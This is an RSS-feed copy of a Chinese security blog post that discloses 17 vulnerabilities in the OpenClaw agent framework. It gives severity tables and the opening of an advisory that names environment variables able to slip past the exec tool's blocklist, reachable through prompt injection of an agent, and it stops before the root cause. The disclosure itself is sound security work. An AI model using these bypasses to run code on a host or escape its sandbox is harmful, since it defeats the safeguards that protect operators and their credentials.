<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>CD's second night</title>
        <link>http://www.cdxiaodong.life//</link>
        <description>CD's syber land</description>
        <lastBuildDate>Sat, 08 Aug 2026 16:35:24 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en-US</language>
        <copyright>All rights reserved 2026, CDxiaodong</copyright>
        <item>
            <title><![CDATA[OpenClaw 17个漏洞攻击面 发布此文时只修复一个]]></title>
            <link>http://www.cdxiaodong.life//article/3230f0c5-b87c-80c6-b3ca-e3ac510aa3cd</link>
            <guid>http://www.cdxiaodong.life//article/3230f0c5-b87c-80c6-b3ca-e3ac510aa3cd</guid>
            <pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-3230f0c5b87c80c6b3cae3ac510aa3cd"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><blockquote class="notion-quote notion-block-3230f0c5b87c80698b8bca2aa588aaa4"><div>挖了一些openclaw的漏洞 有一些是官方不同意收录的，什么沙箱逃逸、组件型ssrf bypass等等，然后我后面发现官方后面又直接修复了，还好我有在用ai实时监控，为了防止再被捡漏 所以在此公开，并已提交相关pr修复(当然2026/3/15之修复了一个)。</div></blockquote><div class="notion-blank notion-block-3230f0c5b87c806bb9e2e354232a426e"> </div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80cd9a2ccbcca955eefb" data-id="3230f0c5b87c80cd9a2ccbcca955eefb"><span><div id="3230f0c5b87c80cd9a2ccbcca955eefb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cd9a2ccbcca955eefb" title="漏洞统计概览"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞统计概览</span></span></h3><table class="notion-simple-table notion-block-3230f0c5b87c802c9ef0cd818d6d51c8"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80f49d3ef29c51ac5f56"><td class="" style="width:120px"><div class="notion-simple-table-cell">严重级别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">数量</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c807b82abf5efce4a7817"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Critical</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c802abab7d971670a8b50"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80d39b58c08b559c0bac"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">8</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8053ad45eb2fa6b4fce6"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>总计</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>17</b></div></td></tr></tbody></table><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80a284c6ecd4259a8017" data-id="3230f0c5b87c80a284c6ecd4259a8017"><span><div id="3230f0c5b87c80a284c6ecd4259a8017" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a284c6ecd4259a8017" title="漏洞清单"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">漏洞清单</span></span></h3><table class="notion-simple-table notion-block-3230f0c5b87c8067ab86ca03f7ecf7c7"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c805794e9fd9b29f04e71"><td class="" style="width:120px"><div class="notion-simple-table-cell">编号</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">严重级别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">漏洞名称</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c803792e8e7622e36c2bc"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa017">GHSA-017</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Critical</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">JSON5 原型污染 (config.patch)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">原型污染</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80d4b79ce5ea5c6d384a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa001">GHSA-001</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码执行</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c809a8b24dfc1a68c86a9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa002">GHSA-002</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">TAR 提取目标目录符号链接绕过</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">沙箱逃逸</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80e98336debc1676da03"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa004">GHSA-004</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Firecrawl 集成 SSRF 与 API Key 泄露</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c800382bac8123885cf0a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa007">GHSA-007</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">TTS Provider SSRF 与 API Key 泄露</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80b294f5daf8a5757722"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa010">GHSA-010</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Anthropic/Gemini PDF Provider SSRF</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80d18676f983b270107a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa011">GHSA-011</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Anthropic PDF SSRF (x-api-key 泄露)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8066835efb3a2a17c238"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa012">GHSA-012</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Gemini PDF SSRF (URL 查询参数密钥泄露)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c802c8569e74ad1a260e3"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa014">GHSA-014</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>High</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">MiniMax VLM SSRF (API Key + 图像泄露)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF + 凭证泄露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8088ab95c3335067d835"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa003">GHSA-003</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工作区逃逸</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c806f88e0d55636f091de"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa005">GHSA-005</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">agentDir 配置路径遍历</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">路径遍历</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8008af4fcaafca2ef631"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa006">GHSA-006</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">浏览器扩展 Relay Token URL 泄露</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">凭证暴露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80b1b09bccc9c7238a04"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa008">GHSA-008</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Media Parse 路径遍历绕过</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">路径遍历</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c804ba1d6ce56811cfc5e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa009">GHSA-009</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Ollama/vLLM SSRF (模型发现与 Stream)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80c5b2edf2e6722ae931"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa013">GHSA-013</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Ollama Stream SSRF (聊天内容泄露)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">SSRF</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c801db45ecd311fb18185"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa015">GHSA-015</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Relay Token URL 暴露 (日志/历史记录)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">凭证暴露</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80359058f7b398383828"><td class="" style="width:120px"><div class="notion-simple-table-cell"><a class="notion-link" href="about:blank#ghsa016">GHSA-016</a></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Medium</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Agent 目录路径遍历 (resolveUserPath)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">路径遍历</div></td></tr></tbody></table><hr class="notion-hr notion-block-3230f0c5b87c8024ae8be9be5751d2d1"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c804dad2bcbd9b477bf85" data-id="3230f0c5b87c804dad2bcbd9b477bf85"><span><div id="3230f0c5b87c804dad2bcbd9b477bf85" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804dad2bcbd9b477bf85" title="目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">目录</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803bb2e3e4f163ff3d0a" data-id="3230f0c5b87c803bb2e3e4f163ff3d0a"><span><div id="3230f0c5b87c803bb2e3e4f163ff3d0a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803bb2e3e4f163ff3d0a" title="Critical 级别"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Critical 级别</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809da74cfd61e0a197ba"><li><a class="notion-link" href="about:blank#ghsa017">GHSA-017: JSON5 原型污染 (config.patch)</a></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a6ba19cbcd1026cb36" data-id="3230f0c5b87c80a6ba19cbcd1026cb36"><span><div id="3230f0c5b87c80a6ba19cbcd1026cb36" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a6ba19cbcd1026cb36" title="High 级别"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">High 级别</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e59201c7fc5eb81f0f"><li><a class="notion-link" href="about:blank#ghsa001">GHSA-001: 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80cc9e34c7b3c77a1b54"><li><a class="notion-link" href="about:blank#ghsa002">GHSA-002: TAR 提取目标目录符号链接绕过</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f9910ee1835cf0ca55"><li><a class="notion-link" href="about:blank#ghsa004">GHSA-004: Firecrawl 集成 SSRF 与 API Key 泄露</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80cfb49cf3295bdd2282"><li><a class="notion-link" href="about:blank#ghsa007">GHSA-007: TTS Provider SSRF 与 API Key 泄露</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808e8b37f46e4320accd"><li><a class="notion-link" href="about:blank#ghsa010">GHSA-010: Anthropic/Gemini PDF Provider SSRF</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802c9ec3d287ee4ad216"><li><a class="notion-link" href="about:blank#ghsa011">GHSA-011: Anthropic PDF SSRF (x-api-key 泄露)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e48517c27a66f29827"><li><a class="notion-link" href="about:blank#ghsa012">GHSA-012: Gemini PDF SSRF (URL 查询参数密钥泄露)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809a8ae6f3c11e9a7f91"><li><a class="notion-link" href="about:blank#ghsa014">GHSA-014: MiniMax VLM SSRF (API Key + 图像泄露)</a></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80089fbac5d93c0b481c" data-id="3230f0c5b87c80089fbac5d93c0b481c"><span><div id="3230f0c5b87c80089fbac5d93c0b481c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80089fbac5d93c0b481c" title="Medium 级别"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Medium 级别</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b796ebe5a394353dbd"><li><a class="notion-link" href="about:blank#ghsa003">GHSA-003: Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8088b654f846f3a302b0"><li><a class="notion-link" href="about:blank#ghsa005">GHSA-005: agentDir 配置路径遍历</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8058b4bef929808216e5"><li><a class="notion-link" href="about:blank#ghsa006">GHSA-006: 浏览器扩展 Relay Token URL 泄露</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80fe94cfe180a5925ce2"><li><a class="notion-link" href="about:blank#ghsa008">GHSA-008: Media Parse 路径遍历绕过</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d4a7c1ed5f68b47a63"><li><a class="notion-link" href="about:blank#ghsa009">GHSA-009: Ollama/vLLM SSRF (模型发现与 Stream)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807d9247c8c8df891de9"><li><a class="notion-link" href="about:blank#ghsa013">GHSA-013: Ollama Stream SSRF (聊天内容泄露)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f58febe6c19776b63f"><li><a class="notion-link" href="about:blank#ghsa015">GHSA-015: Relay Token URL 暴露 (日志/历史记录)</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8072a778d5992bc33be9"><li><a class="notion-link" href="about:blank#ghsa016">GHSA-016: Agent 目录路径遍历 (resolveUserPath)</a></li></ul><hr class="notion-hr notion-block-3230f0c5b87c805298cbc1d69f4139de"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8002864eed5c59ca0491" data-id="3230f0c5b87c8002864eed5c59ca0491"><span><div id="3230f0c5b87c8002864eed5c59ca0491" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8002864eed5c59ca0491" title="GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80c6a132f235da91c1c1"><div><b>严重级别</b>: High  |  <b>类型</b>: 代码执行  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c0ad64c0008cd7356d" data-id="3230f0c5b87c80c0ad64c0008cd7356d"><span><div id="3230f0c5b87c80c0ad64c0008cd7356d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c0ad64c0008cd7356d" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e7ab03d0e113929b63">The environment variable sanitization in OpenClaw’s host execution path fails to block several well-known code-execution-capable environment variables. An agent (or a malicious prompt injection payload) can pass attacker-controlled values for <code class="notion-inline-code">JAVA_TOOL_OPTIONS</code>, <code class="notion-inline-code">DOTNET_STARTUP_HOOKS</code>, <code class="notion-inline-code">MAVEN_OPTS</code>, <code class="notion-inline-code">GRADLE_OPTS</code>, <code class="notion-inline-code">RUSTFLAGS</code>, and others through the <code class="notion-inline-code">env</code> parameter of the exec tool. These variables survive both <code class="notion-inline-code">validateHostEnv()</code> and <code class="notion-inline-code">sanitizeHostExecEnv()</code> and reach the child process, allowing arbitrary code loading in JVM, .NET CLR, Ansible, and Rust toolchain contexts.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8001abfbc2ac785639a2" data-id="3230f0c5b87c8001abfbc2ac785639a2"><span><div id="3230f0c5b87c8001abfbc2ac785639a2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8001abfbc2ac785639a2" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807fbea2dcd542c5869e">High (CVSS 8.1) – Arbitrary code execution on the host when the spawned process is a JVM, .NET, Ansible, Maven, Gradle, or Rust toolchain invocation.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b2b225d90b9517b9e0" data-id="3230f0c5b87c80b2b225d90b9517b9e0"><span><div id="3230f0c5b87c80b2b225d90b9517b9e0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b2b225d90b9517b9e0" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80bcacc4ec5b27d90c4c"><li><code class="notion-inline-code">src/infra/host-env-security-policy.json</code> – blocklist definitions</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8010b7cbd09671f28695"><li><code class="notion-inline-code">src/infra/host-env-security.ts</code> – <code class="notion-inline-code">isDangerousHostEnvVarName()</code>, <code class="notion-inline-code">isDangerousHostEnvOverrideVarName()</code>, <code class="notion-inline-code">sanitizeHostExecEnv()</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805b843fc4f5fd36a531"><li><code class="notion-inline-code">src/agents/bash-tools.exec-runtime.ts</code> – <code class="notion-inline-code">validateHostEnv()</code>, <code class="notion-inline-code">execSchema</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f5bba9c96c8344ba66"><li><code class="notion-inline-code">src/node-host/invoke-system-run.ts</code> – <code class="notion-inline-code">sanitizeSystemRunEnvOverrides()</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807bb771e2243090632a" data-id="3230f0c5b87c807bb771e2243090632a"><span><div id="3230f0c5b87c807bb771e2243090632a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807bb771e2243090632a" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807e89d7c76c40f72020">Current <code class="notion-inline-code">main</code> branch as of 2026-03-10. The blocklist has not been updated to include these variables at any point in the commit history.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a6b8bad72bfcdabf67" data-id="3230f0c5b87c80a6b8bad72bfcdabf67"><span><div id="3230f0c5b87c80a6b8bad72bfcdabf67" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a6b8bad72bfcdabf67" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 